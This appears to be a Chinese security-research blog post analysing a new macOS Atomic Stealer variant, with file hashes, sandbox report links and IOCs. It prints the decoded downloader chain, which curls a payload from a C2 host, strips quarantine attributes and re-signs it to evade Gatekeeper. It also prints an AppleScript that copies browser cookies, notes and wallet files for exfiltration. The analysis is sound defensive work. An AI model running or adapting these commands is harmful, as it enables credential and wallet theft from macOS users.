近日,天穹沙箱在进行日常样本狩猎时注意到一个特殊的MacOS样本。经过天穹沙箱动态分析和人工校验,确定该样本为Atomic Stealer
家族,与历史版本不同的是,该样本首次采用了base64编码的osascript下载恶意载荷,因此进一步确定该样本为Atomic Stealer
家族新变种。Atomic Stealer (AMOS) 是专门针对MacOS系统开发的信息窃取恶意软件,于2023年4月首次被发现,此后出现多个变种,某些变种通过.dmg
软件包进行传播,一旦安装,它将立即开始搜集系统敏感信息并发送给远程服务器。我们此次分析的就是.dmg
软件包类型的窃密样本,以下利用天穹沙箱的自动化分析能力,对该样本的具体行径进行深入分析。
下载器 (Downloader)
-
样本名:Setup_gfdsg.dmg
-
SHA1:02685f530282edf5e728bee825948f1f53e1e203
-
文件类型:DMG
-
文件大小:4.65 MB
-
天穹沙箱分析报告链接:https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=4bb0940631546ace835e8c19a2105727&sk=45307386&devsk=abc5476282c17d6daccaf9dfe6fe3219x
载荷 (Payload)
-
样本名:1111
-
SHA1:008498c2ff2c32d9289da76dabe88d6b700e619c
-
文件类型:Mach-O
-
文件大小:492.52 KB
-
天穹沙箱分析报告链接:https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=5d948c9a1b90b5fee8abba4654b57d3b&sk=12151316&devsk=70b64d971a4a59f029eaaf1991f5553ax
1、静态分析
下载器样本Setup_gfdsg.dmg是Atomic Stealer
家族中利用软件安装包进行传播的典型样例,为绕过系统对软件包的安装检测,样本给自身添加了合法签名,如图1所示:
2、动态分析
2.1、下载载荷
天穹沙箱支持软件包内容智能搜索分析,下载器样本Setup_gfdsg.dmg投递到沙箱后,沙箱根据挂载目录文件类型智能搜索可执行文件,然后调起该可执行文件。样本报告的进程信息展示了样本执行流程,如图2所示,该可执行文件主要是调用osascript
执行加密shell命令。
shell命令使用base64加密,如图3所示,执行第一步是使用base64 --decode
进行解码。
解码后的内容如下所示:
curl -o ~/Library/1111 https://megantic.online/te/Setup &&
chmod +x ~/Library/1111 &&
xattr -cr ~/Library/1111 &&
codesign --force --deep --sign - ~/Library/1111 &&
~/Library/1111
样本调用curl
命令从https[:]//megantic.online/te/Setup
下载载荷,并将其存储于~/Library/1111
文件。之后修改载荷文件属性信息,重新签名后启动载荷。
沙箱报告的动态行为展示了样本执行shell命令的拆解过程,包括base64解码、解码后的shell语句、下载文件、修改文件权限及操作代码签名等,如图4、5所示。样本要执行载荷文件,就要避开或者绕过MacOS的安全检测。样本使用xattr -cr
命令递归删除载荷文件的所有扩展属性,主要意图是删除文件的com.apple.quarantine隔离属性,从而逃避GateKeeper安全机制检查,允许用户打开来自任何来源的软件。
GateKeeper是MacOS上的一项安全技术,用来帮助确保仅受信任的软件可在用户的Mac上运行。当用户从App Store之外的地方下载并打开App、插件或安装器软件包时,它会验证该软件是否来自可识别的开发者、经过Apple公证不含已知的恶意内容且未被修改。在首次打开下载的软件之前,GateKeeper还会请求用户批准,以确保用户没有被诱骗运行他们认为只是数据文件的可执行代码。
样本使用codesign --force
命令强制对载荷文件进行签名,目的是为通过GateKeeper的签名检测。默认情况下,GateKeeper会帮助确保所有下载的软件已由App Store签名,或者由已注册的开发者签名且经过Apple公证,阻止未签名或未被信任的应用程序运行。
2.2、执行载荷
由于下载载荷链接https[:]//megantic.online/te/Setup
已失效,分析人员通过人为手段获取到载荷信息,投入天穹沙箱进行动态分析。根据报告中展示的动态行为数据,可知该载荷样本同Atomic Stealer
家族历史样本行为一致,旨在窃取各种敏感信息,包括钥匙串密码、加密钱包密码、浏览器凭据及其他敏感文件等。
获取授权
样本通过osascript -e display dialog
命令伪造弹窗,欺骗用户输入密码进行授权,并使用dscl
命令检测密码是否正确,如图6、7所示。
在样本执行过程中,天穹沙箱的屏幕捕获功能记录了样本伪造弹窗过程,如图8所示。
信息收集
样本获取用户授权后,继续使用osascript
执行后续的敏感信息收集行为,如图9所示:
为方便说明,整理上图脚本内容如下:
set baseFolderPath to (path to home folder as text) & "2076065796"
set fileGrabberFolderPath to (path to home folder as text) & "2076065796:FileGrabber:"
-- 访问Finder应用
tell application "Finder"
set username to short user name of (system info)
try
-- 创建目录用于存放敏感信息和特定文件
if not (exists folder fileGrabberFolderPath) then
make new folder at folder baseFolderPath with properties {name:"FileGrabber"}
end if
-- 拷贝Safari目录下的cookie文件到创建目录
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
try
duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing
end try
-- 拷贝Notes目录下的数据库文件到创建目录
set homePath to path to home folder as string
set sourceFilePath to homePath & "Library:Group Containers:group.com.apple.notes:"
try
duplicate file "NoteStore.sqlite" of folder sourceFilePath to folder baseFolderPath with replacing
end try
set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"}
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
-- 遍历Desktop和Documents目录下的文件,将后缀名符合extensionsList且文件大小不超过51200的文件拷贝至创建目录
repeat with aFile in (desktopFiles & documentsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set fileSize to size of aFile
if fileSize ≤ 51200 then
duplicate aFile to folder fileGrabberFolderPath with replacing
end if
end if
end repeat
end try
end tell
首先,样本通过文件管理器Finder在当前用户目录下创建临时目录用于存放搜集的敏感信息和特定文件。然后根据设置的路径信息,拷贝指定后缀或大小的文件到创建目录。如图10所示,沙箱运行过程截图中记录了样本尝试访问Finder应用的界面,天穹沙箱支持窗体智能识别,自动通过样本的访问申请。
如图11、12所示,动态行为记录了样本创建临时目录并窃取敏感数据到创建目录的行为,窃取的敏感数据包括系统信息、用户密码、keychain(钥匙串密码)、cookies、数据库文件及特殊后缀的文档文件等。
除上述脚本中列出的目标目录外,样本还遍历了Firefox和Chrome浏览器目录,搜集自动填充信息、密码、cookie、钱包和信用卡等信息,将其拷贝到创建目录,如图13所示:
样本在遍历完目标目录后,通过ditto
命令打包创建目录为zip文件,如图14所示:
样本搜集完数据就结束了吗?不不不,以经济利益为目的的恶意软件怎会放过任何潜在价值文件呢!根据报告中的网络流量威胁检测和联网活动分析,我们发现样本将打包数据通过http协议发送给了109.120.176.156地址,如图15、16所示:
以上就是样本执行的全部流程。样本在执行过程中使用了多个shell命令去执行特定行为,对于有疑惑的命令行行为,可以借助TQ-GPT沙箱智能助理去理解其作用。例如,可以向TQ-GPT询问ditto
命令行的作用,如图17所示:
四、IOC
恶意文件(SHA1)
02685F530282EDF5E728BEE825948F1F53E1E203 Setup_gfdsg.dmg
008498C2FF2C32D9289DA76DABE88D6B700E619C 1111
C2链接
https[:]//megantic.online/te/Setup C2链接
http[:]//109.120.176.156/joinsystem C2链接
报告链接:
天穹沙箱分析报告1:
https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=4bb0940631546ace835e8c19a2105727&sk=45307386&devsk=abc5476282c17d6daccaf9dfe6fe3219x
天穹沙箱分析报告2:
https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=5d948c9a1b90b5fee8abba4654b57d3b&sk=12151316&devsk=70b64d971a4a59f029eaaf1991f5553ax
五、技术支持与反馈
-
网址:https://sandbox.qianxin.com/sscc-tq-web/
-
点击左下角“阅读原文”进入星图实验室官网
星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。
我们目前正在招聘,工作地点覆盖北京、南京、成都等城市,详情请参见:
https://research.qianxin.com/recruitment/
原文始发于微信公众号(奇安信技术研究院):天穹 | MacOS窃密样本:AMOS家族新变种